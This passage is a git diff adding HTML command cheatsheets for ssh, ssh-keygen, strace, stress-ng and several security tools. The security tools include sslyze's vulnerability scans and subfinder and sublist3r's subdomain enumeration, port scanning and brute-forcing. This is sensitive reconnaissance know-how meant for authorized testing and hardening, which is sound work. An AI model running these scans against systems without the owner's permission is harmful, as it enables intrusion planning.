
      Socket memory information.

      +

      Extended Info

      +
      ss -e
      +

      Extended socket information.

      +

      Unix Sockets

      +
      ss -xlnp
      +

      Unix domain sockets.

      +
      +

      State Filters

      +
        +
      • state established - Established connections
      • +
      +
        +
      • state listening - Listening sockets
      • +
      +
        +
      • state time-wait - Time-wait state
      • +
      +
        +
      • state fin-wait-1 - Fin-wait-1 state
      • +
      +
        +
      • state fin-wait-2 - Fin-wait-2 state
      • +
      +
      +

      Tips

      +
        +
      • Use -tlnp for common network troubleshooting
      • +
      +
        +
      • Use -p to see which process owns socket
      • +
      +
        +
      • Use -n for faster output (no DNS lookup)
      • +
      +
        +
      • Use -s for quick statistics
      • +
      +
        +
      • Faster than netstat
      • +
      +
        +
      • More detailed than netstat
      • +
      +
        +
      • Essential for network debugging
      • +
      +
        +
      • Use filters to narrow results
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/ssh-keygen.html b/cheatsheets/ssh-keygen.html new file mode 100644 index 0000000..cb91327 --- /dev/null +++ b/cheatsheets/ssh-keygen.html @@ -0,0 +1,143 @@ + + + + + + + + + + + ssh-keygen Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      ssh-keygen Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      ssh-keygen generates, manages, and converts SSH authentication keys. Essential for passwordless SSH access and secure key-based authentication.

      +
      +

      Key Generation

      +
        +
      • ssh-keygen -t ed25519 - Generate Ed25519 key (recommended)
      • +
      +
        +
      • ssh-keygen -t rsa -b 4096 - Generate RSA key (4096 bits)
      • +
      +
        +
      • ssh-keygen -t ecdsa -b 256 - Generate ECDSA key
      • +
      +
        +
      • ssh-keygen -f ~/.ssh/id_ed25519 - Specify key file location
      • +
      +
        +
      • ssh-keygen -C "comment" - Add comment to key
      • +
      +
      +

      Key Management

      +
        +
      • ssh-keygen -l -f ~/.ssh/id_ed25519.pub - Show key fingerprint
      • +
      +
        +
      • ssh-keygen -y -f ~/.ssh/id_ed25519 - Extract public key from private key
      • +
      +
        +
      • ssh-keygen -p -f ~/.ssh/id_ed25519 - Change passphrase
      • +
      +
        +
      • ssh-keygen -R hostname - Remove host from known_hosts
      • +
      +
      +

      Key Conversion

      +
        +
      • ssh-keygen -p -m PEM -f old_key - Convert key format
      • +
      +
        +
      • ssh-keygen -e -f id_rsa.pub -m RFC4716 - Convert to RFC4716 format
      • +
      +
        +
      • ssh-keygen -i -f publickey - Import key in other formats
      • +
      +
      +

      Common Examples

      +

      Generate Ed25519 Key

      +
      ssh-keygen -t ed25519 -C "your_email@example.com"
      +

      Generate modern Ed25519 key with email comment.

      +

      Generate RSA Key

      +
      ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
      +

      Generate 4096-bit RSA key.

      +

      Show Fingerprint

      +
      ssh-keygen -l -f ~/.ssh/id_ed25519.pub
      +

      Display key fingerprint for verification.

      +

      Change Passphrase

      +
      ssh-keygen -p -f ~/.ssh/id_ed25519
      +

      Change passphrase on existing key.

      +

      Copy Public Key

      +
      cat ~/.ssh/id_ed25519.pub
      +

      Display public key to copy to server.

      +

      Remove Host Key

      +
      ssh-keygen -R example.com
      +

      Remove host from known_hosts (after key change).

      +
      +

      Tips

      +
        +
      • Ed25519 is preferred: smaller, faster, and more secure than RSA
      • +
      +
        +
      • Use RSA 4096-bit minimum if Ed25519 isn't supported
      • +
      +
        +
      • Always use passphrases for private keys
      • +
      +
        +
      • Keep private keys secure (~/.ssh/id_*), never share them
      • +
      +
        +
      • Public keys (.pub) are safe to share
      • +
      +
        +
      • Use ssh-copy-id to easily copy keys to servers
      • +
      +
        +
      • Verify fingerprints out-of-band before trusting new hosts
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/ssh.html b/cheatsheets/ssh.html new file mode 100644 index 0000000..1aa45f9 --- /dev/null +++ b/cheatsheets/ssh.html @@ -0,0 +1,176 @@ + + + + + + + + + + + ssh Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      +
      + + + +

      ssh Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      SSH (Secure Shell) is a protocol for secure remote login and command execution. Essential for managing remote servers, secure file transfer, and tunneling.

      +
      +

      Basic Connection

      +
        +
      • ssh user@hostname - Connect to remote host
      • +
      +
        +
      • ssh user@hostname -p 2222 - Connect on custom port
      • +
      +
        +
      • ssh -i ~/.ssh/key.pem user@hostname - Use specific key file
      • +
      +
        +
      • ssh -v user@hostname - Verbose output (debugging)
      • +
      +
      +

      Port Forwarding

      +
        +
      • ssh -L 8080:localhost:80 user@hostname - Local port forward
      • +
      +
        +
      • ssh -R 8080:localhost:80 user@hostname - Remote port forward
      • +
      +
        +
      • ssh -D 1080 user@hostname - Dynamic SOCKS proxy
      • +
      +
        +
      • ssh -L 8080:remote:80 -N user@hostname - Forward without shell
      • +
      +
      +

      File Transfer

      +
        +
      • scp file.txt user@hostname:/path/ - Copy file to remote
      • +
      +
        +
      • scp user@hostname:/path/file.txt . - Copy file from remote
      • +
      +
        +
      • scp -r dir/ user@hostname:/path/ - Copy directory recursively
      • +
      +
        +
      • rsync -avz dir/ user@hostname:/path/ - Sync with rsync
      • +
      +
      +

      Remote Execution

      +
        +
      • ssh user@hostname "command" - Execute command remotely
      • +
      +
        +
      • ssh user@hostname "cat file.txt" - Read remote file
      • +
      +
        +
      • cat file.txt | ssh user@hostname "cat > remote.txt" - Pipe to remote
      • +
      +
      +

      Configuration

      +
        +
      • ~/.ssh/config - SSH client configuration file
      • +
      +
        +
      • Host alias - Define host alias
      • +
      +
        +
      • HostName real.hostname.com - Set hostname
      • +
      +
        +
      • User username - Set default user
      • +
      +
        +
      • IdentityFile ~/.ssh/key - Specify key file
      • +
      +
        +
      • Port 2222 - Set port
      • +
      +
      +

      Common Examples

      +

      Basic Connection

      +
      ssh user@example.com
      +

      Connect to remote server.

      +

      Port Forwarding

      +
      ssh -L 8080:localhost:80 user@example.com
      +

      Forward local port 8080 to remote port 80.

      +

      Copy File

      +
      scp file.txt user@example.com:/home/user/
      +

      Copy file to remote server.

      +

      Execute Command

      +
      ssh user@example.com "ls -la"
      +

      Run command on remote server.

      +

      SSH Config

      +
      Host myserver
      +    HostName example.com
      +    User myuser
      +    IdentityFile ~/.ssh/id_ed25519
      +    Port 2222
      +

      Configure SSH alias in ~/.ssh/config.

      +
      +

      Tips

      +
        +
      • Use key-based authentication instead of passwords
      • +
      +
        +
      • Configure ~/.ssh/config for easier connections
      • +
      +
        +
      • Use -N flag for port forwarding without shell
      • +
      +
        +
      • rsync is often faster than scp for large transfers
      • +
      +
        +
      • Use ControlMaster for connection multiplexing
      • +
      +
        +
      • Keep SSH keys secure and use passphrases
      • +
      +
        +
      • Disable password authentication on servers when possible
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/sslyze.html b/cheatsheets/sslyze.html new file mode 100644 index 0000000..ddbb24f --- /dev/null +++ b/cheatsheets/sslyze.html @@ -0,0 +1,250 @@ + + + + + + + + + + + sslyze Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      sslyze Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      SSLyze is a fast and powerful SSL/TLS scanning tool. It analyzes SSL/TLS configuration to detect misconfigurations, weak ciphers, and vulnerabilities like Heartbleed, ROBOT, and more.

      +
      +

      Basic Usage

      +
        +
      • sslyze <hostname> - Basic scan
      • +
      +
        +
      • sslyze <hostname>:<port> - Scan specific port
      • +
      +
        +
      • sslyze --targets_in=hosts.txt - Scan from file
      • +
      +
      +

      Scan Commands

      +
        +
      • --sslv2 - Check for SSLv2 support
      • +
      +
        +
      • --sslv3 - Check for SSLv3 support
      • +
      +
        +
      • --tlsv1 - Check for TLSv1.0 support
      • +
      +
        +
      • --tlsv1_1 - Check for TLSv1.1 support
      • +
      +
        +
      • --tlsv1_2 - Check for TLSv1.2 support
      • +
      +
        +
      • --tlsv1_3 - Check for TLSv1.3 support
      • +
      +
      +

      Vulnerability Scans

      +
        +
      • --heartbleed - Test for Heartbleed vulnerability
      • +
      +
        +
      • --openssl_ccs - Test for OpenSSL CCS Injection
      • +
      +
        +
      • --robot - Test for ROBOT vulnerability
      • +
      +
        +
      • --fallback - Test for TLS Fallback SCSV
      • +
      +
        +
      • --reneg - Test for session renegotiation
      • +
      +
        +
      • --resum - Test for session resumption
      • +
      +
        +
      • --early_data - Test for TLS 1.3 early data
      • +
      +
      +

      Certificate Checks

      +
        +
      • --certinfo - Certificate and chain information
      • +
      +
      +

      Cipher Suites

      +
        +
      • --http_headers - Check security headers (HSTS, etc.)
      • +
      +
        +
      • --compression - Test for TLS compression (CRIME)
      • +
      +
        +
      • --elliptic_curves - Supported elliptic curves
      • +
      +
      +

      Output Options

      +
        +
      • --json_out=file.json - JSON output
      • +
      +
        +
      • --quiet - Quiet mode (less output)
      • +
      +
        +
      • --mozilla_config - Compare against Mozilla config
      • +
      +
      +

      Connection Options

      +
        +
      • --slow_connection - Longer timeouts for slow connections
      • +
      +
        +
      • --https_tunnel=proxy:port - Use HTTPS proxy
      • +
      +
        +
      • --starttls=protocol - Use STARTTLS (smtp, imap, etc.)
      • +
      +
        +
      • --xmpp_to=domain - For XMPP STARTTLS
      • +
      +
        +
      • --sni=hostname - Server Name Indication
      • +
      +
      +

      STARTTLS Protocols

      +
        +
      • smtp - SMTP STARTTLS
      • +
      • xmpp - XMPP STARTTLS
      • +
      • xmpp_server - XMPP Server STARTTLS
      • +
      • ftp - FTP STARTTLS
      • +
      • pop3 - POP3 STARTTLS
      • +
      • imap - IMAP STARTTLS
      • +
      • ldap - LDAP STARTTLS
      • +
      • rdp - RDP STARTTLS
      • +
      • postgres - PostgreSQL STARTTLS
      • +
      +
      +

      Common Examples

      +

      Full Scan

      +
      sslyze example.com
      +

      Complete SSL/TLS analysis.

      +

      Specific Port

      +
      sslyze example.com:8443
      +

      Scan non-standard HTTPS port.

      +

      Check All Protocol Versions

      +
      sslyze --sslv2 --sslv3 --tlsv1 --tlsv1_1 --tlsv1_2 --tlsv1_3 example.com
      +

      Test all SSL/TLS versions.

      +

      Vulnerability Check

      +
      sslyze --heartbleed --robot --openssl_ccs example.com
      +

      Check for common vulnerabilities.

      +

      Certificate Info

      +
      sslyze --certinfo example.com
      +

      Get certificate details.

      +

      SMTP STARTTLS

      +
      sslyze --starttls=smtp mail.example.com:25
      +

      Test mail server TLS.

      +

      JSON Output

      +
      sslyze --json_out=results.json example.com
      +

      Save results as JSON.

      +

      Multiple Targets

      +
      sslyze --targets_in=hosts.txt --json_out=results.json
      +

      Scan multiple hosts from file.

      +

      Check Security Headers

      +
      sslyze --http_headers example.com
      +

      Check HSTS and other headers.

      +

      Mozilla Compliance

      +
      sslyze --mozilla_config=intermediate example.com
      +

      Compare against Mozilla recommended config.

      +
      +

      What to Look For

      +

      Bad (Vulnerabilities)

      +
        +
      • SSLv2 or SSLv3 enabled
      • +
      • TLSv1.0 or TLSv1.1 enabled
      • +
      • Heartbleed vulnerable
      • +
      • ROBOT attack vulnerable
      • +
      • Weak cipher suites (RC4, DES, etc.)
      • +
      • Expired/invalid certificates
      • +
      • Missing HSTS header
      • +
      • TLS compression enabled (CRIME)
      • +
      +

      Good (Secure Config)

      +
        +
      • Only TLSv1.2 and TLSv1.3
      • +
      • Strong cipher suites only
      • +
      • Valid certificate chain
      • +
      • HSTS enabled with long max-age
      • +
      • Forward secrecy (ECDHE/DHE)
      • +
      +
      +

      Tips

      +
        +
      • Run full scans to get complete picture
      • +
      +
        +
      • Use JSON output for automated processing
      • +
      +
        +
      • Check mail servers with STARTTLS option
      • +
      +
        +
      • Compare against Mozilla configurations
      • +
      +
        +
      • Disable SSLv2, SSLv3, TLSv1.0, TLSv1.1
      • +
      +
        +
      • Use strong ciphers only
      • +
      +
        +
      • Great for compliance checks (PCI-DSS, etc.)
      • +
      +
        +
      • Combine with testssl.sh for comprehensive testing
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/strace.html b/cheatsheets/strace.html new file mode 100644 index 0000000..15aa506 --- /dev/null +++ b/cheatsheets/strace.html @@ -0,0 +1,239 @@ + + + + + + + + + + + strace Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      strace Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      strace traces system calls and signals. Monitors interactions between a process and the Linux kernel, essential for debugging, performance analysis, and security auditing.

      +
      +

      Basic Usage

      +
        +
      • strace command - Trace command execution
      • +
      +
        +
      • strace -p PID - Attach to running process
      • +
      +
        +
      • strace -e trace=open command - Trace specific calls
      • +
      +
        +
      • strace -c command - Summary statistics
      • +
      +
        +
      • strace -f command - Follow child processes
      • +
      +
      +

      Common Options

      +
        +
      • -p PID - Attach to process
      • +
      +
        +
      • -f - Follow child processes
      • +
      +
        +
      • -ff - Separate output per thread
      • +
      +
        +
      • -c - Count calls and time
      • +
      +
        +
      • -e trace=set - Trace specific calls
      • +
      +
        +
      • -e trace=file - Trace file operations
      • +
      +
        +
      • -e trace=network - Trace network calls
      • +
      +
        +
      • -e trace=process - Trace process calls
      • +
      +
        +
      • -e trace=signal - Trace signals
      • +
      +
        +
      • -e trace=desc - Trace file descriptor operations
      • +
      +
        +
      • -e trace=ipc - Trace IPC calls
      • +
      +
        +
      • -o file - Output to file
      • +
      +
        +
      • -s size - String length limit
      • +
      +
        +
      • -v - Verbose
      • +
      +
        +
      • -t - Print timestamp
      • +
      +
        +
      • -tt - Print timestamp with microseconds
      • +
      +
        +
      • -T - Show time spent in calls
      • +
      +
        +
      • -r - Relative timestamp
      • +
      +
        +
      • -x - Print non-ASCII in hex
      • +
      +
        +
      • -xx - Print all strings in hex
      • +
      +
        +
      • -y - Print paths associated with file descriptors
      • +
      +
        +
      • -P path - Trace only this path
      • +
      +
        +
      • -b execve - Detach on exec
      • +
      +
        +
      • -D - Run as separate process
      • +
      +
        +
      • -q - Suppress attach/detach messages
      • +
      +
        +
      • -qq - Suppress all messages
      • +
      +
      +

      Trace Sets

      +
        +
      • file - File operations
      • +
      +
        +
      • network - Network operations
      • +
      +
        +
      • process - Process operations
      • +
      +
        +
      • signal - Signal operations
      • +
      +
        +
      • desc - File descriptor operations
      • +
      +
        +
      • ipc - IPC operations
      • +
      +
        +
      • memory - Memory operations
      • +
      +
        +
      • all - All system calls
      • +
      +
      +

      Common Examples

      +

      Trace Command

      +
      strace ls
      +

      Trace all system calls.

      +

      Attach to Process

      +
      strace -p 1234
      +

      Attach to running process.

      +

      Summary Statistics

      +
      strace -c command
      +

      Show call counts and timing.

      +

      Trace File Operations

      +
      strace -e trace=file command
      +

      Only file-related calls.

      +

      Trace Network

      +
      strace -e trace=network command
      +

      Only network calls.

      +

      Follow Children

      +
      strace -f command
      +

      Include child processes.

      +

      With Timestamps

      +
      strace -tt command
      +

      Show timestamps with microseconds.

      +

      Show Time Spent

      +
      strace -T command
      +

      Show time spent in each call.

      +

      Output to File

      +
      strace -o trace.log command
      +

      Save trace to file.

      +

      Trace Specific Call

      +
      strace -e trace=open,openat command
      +

      Trace specific system calls.

      +
      +

      Tips

      +
        +
      • Use -c for quick performance overview
      • +
      +
        +
      • Use -e trace=file for file debugging
      • +
      +
        +
      • Use -e trace=network for network debugging
      • +
      +
        +
      • Use -f to trace multi-process applications
      • +
      +
        +
      • Use -T to see slow system calls
      • +
      +
        +
      • Use -o to save traces for analysis
      • +
      +
        +
      • Essential for debugging system issues
      • +
      +
        +
      • Great for security auditing
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/stress-ng.html b/cheatsheets/stress-ng.html new file mode 100644 index 0000000..eac1a04 --- /dev/null +++ b/cheatsheets/stress-ng.html @@ -0,0 +1,209 @@ + + + + + + + + + + + stress-ng Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      stress-ng Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      stress-ng is a system stress testing tool. Tests various system components including CPU, memory, I/O, disk, and network under load. Useful for system testing, benchmarking, and thermal testing.

      +
      +

      Basic Usage

      +
        +
      • stress-ng --cpu <num> - Stress CPU with specified workers
      • +
      +
        +
      • stress-ng --vm <num> - Stress virtual memory
      • +
      +
        +
      • stress-ng --io <num> - Stress I/O
      • +
      +
        +
      • stress-ng --timeout <time> - Run for specified time
      • +
      +
        +
      • stress-ng --metrics-brief - Show brief metrics
      • +
      +
        +
      • stress-ng --verbose - Verbose output
      • +
      +
      +

      CPU Stress

      +
        +
      • stress-ng --cpu <num> - Number of CPU workers
      • +
      +
        +
      • stress-ng --cpu-load <percent> - CPU load percentage
      • +
      +
        +
      • stress-ng --cpu-method <method> - CPU stress method
      • +
      +
        +
      • stress-ng --cpu-ops <num> - Stop after N operations
      • +
      +
      +

      Memory Stress

      +
        +
      • stress-ng --vm <num> - Number of memory workers
      • +
      +
        +
      • stress-ng --vm-bytes <size> - Memory per worker
      • +
      +
        +
      • stress-ng --vm-method <method> - Memory stress method
      • +
      +
        +
      • stress-ng --vm-ops <num> - Stop after N operations
      • +
      +
      +

      I/O Stress

      +
        +
      • stress-ng --io <num> - Number of I/O workers
      • +
      +
        +
      • stress-ng --hdd <num> - Stress hard disk
      • +
      +
        +
      • stress-ng --hdd-bytes <size> - Disk write size
      • +
      +
        +
      • stress-ng --hdd-ops <num> - Stop after N operations
      • +
      +
      +

      Timing and Control

      +
        +
      • stress-ng --timeout <time> - Run for specified time
      • +
      +
        +
      • stress-ng --timeout <time>s - Time in seconds
      • +
      +
        +
      • stress-ng --timeout <time>m - Time in minutes
      • +
      +
        +
      • stress-ng --timeout <time>h - Time in hours
      • +
      +
        +
      • stress-ng --kill-after <time> - Kill after timeout
      • +
      +
      +

      Output Options

      +
        +
      • stress-ng --metrics - Show metrics
      • +
      +
        +
      • stress-ng --metrics-brief - Brief metrics
      • +
      +
        +
      • stress-ng --verbose - Verbose output
      • +
      +
        +
      • stress-ng --quiet - Quiet mode
      • +
      +
        +
      • stress-ng --dry-run - Show what would be done
      • +
      +
      +

      Common Examples

      +

      CPU Stress

      +
      stress-ng --cpu 4 --timeout 60s
      +

      Stress 4 CPUs for 60 seconds.

      +

      Memory Stress

      +
      stress-ng --vm 2 --vm-bytes 1G --timeout 30s
      +

      Stress memory with 2 workers, 1GB each, for 30 seconds.

      +

      I/O Stress

      +
      stress-ng --io 4 --timeout 60s
      +

      Stress I/O with 4 workers for 60 seconds.

      +

      Disk Stress

      +
      stress-ng --hdd 1 --hdd-bytes 1G --timeout 120s
      +

      Stress disk with 1GB writes for 120 seconds.

      +

      Combined Stress

      +
      stress-ng --cpu 2 --vm 1 --io 1 --timeout 60s
      +

      Stress CPU, memory, and I/O simultaneously.

      +

      With Metrics

      +
      stress-ng --cpu 4 --timeout 60s --metrics-brief
      +

      Show brief metrics during stress test.

      +

      CPU Load Percentage

      +
      stress-ng --cpu 4 --cpu-load 50 --timeout 60s
      +

      Stress CPUs at 50% load.

      +

      Verbose Output

      +
      stress-ng --cpu 2 --timeout 30s --verbose
      +

      Show detailed output.

      +
      +

      Tips

      +
        +
      • Use --timeout to limit test duration
      • +
      +
        +
      • Use --metrics-brief to monitor performance during test
      • +
      +
        +
      • Start with low worker counts and short timeouts
      • +
      +
        +
      • Monitor system temperatures while running stress tests
      • +
      +
        +
      • Use watch sensors to monitor temperatures in real-time: watch -n 1 sensors
      • +
      +
        +
      • Use --cpu-load to control CPU utilization percentage
      • +
      +
        +
      • Use --vm-bytes to control memory stress size
      • +
      +
        +
      • Use --dry-run to see what would be executed
      • +
      +
        +
      • Essential for thermal testing and system stability verification
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/subfinder.html b/cheatsheets/subfinder.html new file mode 100644 index 0000000..ea7d638 --- /dev/null +++ b/cheatsheets/subfinder.html @@ -0,0 +1,221 @@ + + + + + + + + + + + subfinder Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      subfinder Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Subfinder is a fast passive subdomain enumeration tool by ProjectDiscovery. It uses passive sources to discover subdomains without sending any traffic to the target.

      +
      +

      Basic Usage

      +
        +
      • subfinder -d <domain> - Basic subdomain enumeration
      • +
      +
        +
      • subfinder -dL domains.txt - Enumerate from domain list
      • +
      +
      +

      Input Options

      +
        +
      • -d, -domain - Target domain
      • +
      +
        +
      • -dL, -list - File containing list of domains
      • +
      +
      +

      Output Options

      +
        +
      • -o, -output - Output file
      • +
      +
        +
      • -oJ, -json - JSON output
      • +
      +
        +
      • -oD, -output-dir - Directory for output files
      • +
      +
        +
      • -cs, -collect-sources - Include source info in output
      • +
      +
        +
      • -oI, -ip - Include IP addresses in output
      • +
      +
      +

      Configuration

      +
        +
      • -config - Config file path
      • +
      +
        +
      • -pc, -provider-config - Provider config file
      • +
      +
        +
      • -r, -resolver - Comma separated resolvers
      • +
      +
        +
      • -rL, -resolver-list - File containing resolvers
      • +
      +
        +
      • -active - Verify subdomains via DNS resolution
      • +
      +
      +

      Source Options

      +
        +
      • -s, -sources - Specific sources to use (comma separated)
      • +
      +
        +
      • -recursive - Use recursive sources only
      • +
      +
        +
      • -all - Use all sources
      • +
      +
        +
      • -es, -exclude-sources - Exclude specific sources
      • +
      +
        +
      • -ls, -list-sources - List all available sources
      • +
      +
      +

      Rate Limiting

      +
        +
      • -t, -threads - Concurrent threads (default 10)
      • +
      +
        +
      • -rl, -rate-limit - Max requests per second
      • +
      +
        +
      • -timeout - Timeout in seconds (default 30)
      • +
      +
      +

      Other Options

      +
        +
      • -silent - Only show subdomains in output
      • +
      +
        +
      • -v, -verbose - Verbose output
      • +
      +
        +
      • -version - Show version
      • +
      +
        +
      • -nc, -no-color - Disable color output
      • +
      +
      +

      Configuration File

      +

      Location

      +
        +
      • ~/.config/subfinder/provider-config.yaml - API keys config
      • +
      +

      Example Config

      +
      securitytrails:
      +  - your_api_key_here
      +shodan:
      +  - your_api_key_here
      +virustotal:
      +  - your_api_key_here
      +chaos:
      +  - your_api_key_here
      +github:
      +  - your_github_token
      +
      +

      Common Examples

      +

      Basic Scan

      +
      subfinder -d example.com
      +

      Quick passive subdomain enumeration.

      +

      Save to File

      +
      subfinder -d example.com -o subdomains.txt
      +

      Save results to file.

      +

      JSON Output with Sources

      +
      subfinder -d example.com -oJ -cs -o results.json
      +

      JSON output with source information.

      +

      Silent Mode for Piping

      +
      subfinder -d example.com -silent | httpx
      +

      Pipe to httpx for live domain checking.

      +

      Multiple Domains

      +
      subfinder -dL domains.txt -o all_subs.txt
      +

      Enumerate multiple domains from file.

      +

      With IP Resolution

      +
      subfinder -d example.com -oI -o subs_with_ips.txt
      +

      Include IP addresses in output.

      +

      Specific Sources

      +
      subfinder -d example.com -s shodan,virustotal,securitytrails
      +

      Use only specific sources.

      +

      Active Verification

      +
      subfinder -d example.com -active
      +

      Verify subdomains via DNS resolution.

      +
      +

      Tips

      +
        +
      • Configure API keys for significantly better results
      • +
      +
        +
      • Use -silent for clean output suitable for piping
      • +
      +
        +
      • Combine with httpx for live domain verification
      • +
      +
        +
      • Use -all to enable all sources (slower but thorough)
      • +
      +
        +
      • Fast and lightweight compared to amass
      • +
      +
        +
      • Great for quick reconnaissance before deeper scanning
      • +
      +
        +
      • Passive only - won't trigger IDS/IPS
      • +
      +
        +
      • Part of ProjectDiscovery toolkit - integrates well with nuclei, httpx
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/sublist3r.html b/cheatsheets/sublist3r.html new file mode 100644 index 0000000..e539c34 --- /dev/null +++ b/cheatsheets/sublist3r.html @@ -0,0 +1,170 @@ + + + + + + + + + + + sublist3r Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      sublist3r Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Sublist3r is a Python tool designed to enumerate subdomains using search engines like Google, Yahoo, Bing, Baidu, and Ask. It also uses Netcraft, Virustotal, ThreatCrowd, DNSdumpster, and ReverseDNS.

      +
      +

      Basic Usage

      +
        +
      • sublist3r -d <domain> - Basic subdomain enumeration
      • +
      +
        +
      • python sublist3r.py -d <domain> - Run directly with Python
      • +
      +
      +

      Options

      +
        +
      • -d, --domain - Domain to enumerate
      • +
      +
        +
      • -b, --bruteforce - Enable brute force module
      • +
      +
        +
      • -p, --ports - Scan for open ports (comma separated)
      • +
      +
        +
      • -v, --verbose - Enable verbose output
      • +
      +
        +
      • -t, --threads - Number of threads (default 30)
      • +
      +
        +
      • -e, --engines - Specify search engines (comma separated)
      • +
      +
        +
      • -o, --output - Save results to file
      • +
      +
        +
      • -h, --help - Show help message
      • +
      +
      +

      Search Engines

      +

      Available engines for -e option:

      +
        +
      • google
      • +
      • yahoo
      • +
      • bing
      • +
      • baidu
      • +
      • ask
      • +
      • netcraft
      • +
      • dnsdumpster
      • +
      • virustotal
      • +
      • threatcrowd
      • +
      • ssl
      • +
      • passivedns
      • +
      +
      +

      Common Examples

      +

      Basic Enumeration

      +
      sublist3r -d example.com
      +

      Find subdomains using all sources.

      +

      Save to File

      +
      sublist3r -d example.com -o subdomains.txt
      +

      Save discovered subdomains to file.

      +

      Verbose with Threads

      +
      sublist3r -d example.com -v -t 50
      +

      Verbose output with 50 threads.

      +

      Specific Engines

      +
      sublist3r -d example.com -e google,bing,virustotal
      +

      Use only specific search engines.

      +

      With Port Scanning

      +
      sublist3r -d example.com -p 80,443,8080
      +

      Enumerate and scan for open ports.

      +

      Brute Force

      +
      sublist3r -d example.com -b
      +

      Enable brute force subdomain guessing.

      +

      Full Scan

      +
      sublist3r -d example.com -b -p 80,443 -v -o results.txt
      +

      Comprehensive scan with all features.

      +
      +

      Installation

      +
      # Clone the repository
      +git clone https://github.com/aboul3la/Sublist3r.git
      +
      +# Install requirements
      +cd Sublist3r
      +pip install -r requirements.txt
      +
      +# Run
      +python sublist3r.py -d example.com
      +
      +

      Tips

      +
        +
      • Use multiple engines for comprehensive coverage
      • +
      +
        +
      • Some engines may block you - rotate sources if needed
      • +
      +
        +
      • Combine with other tools like amass and subfinder
      • +
      +
        +
      • Use -v to see real-time progress
      • +
      +
        +
      • Port scanning adds time but reveals more info
      • +
      +
        +
      • Brute force can find subdomains not indexed by search engines
      • +
      +
        +
      • Results can be piped to other tools for further analysis
      • +
      +
        +
      • Always get authorization before scanning targets you don't own
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/suricata.html b/cheatsheets/suricata.html new file mode 100644 index 0000000..581aa7e --- /dev/null +++ b/cheatsheets/suricata.html @@ -0,0 +1,225 @@ + + + + + + + + + + + suricata Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
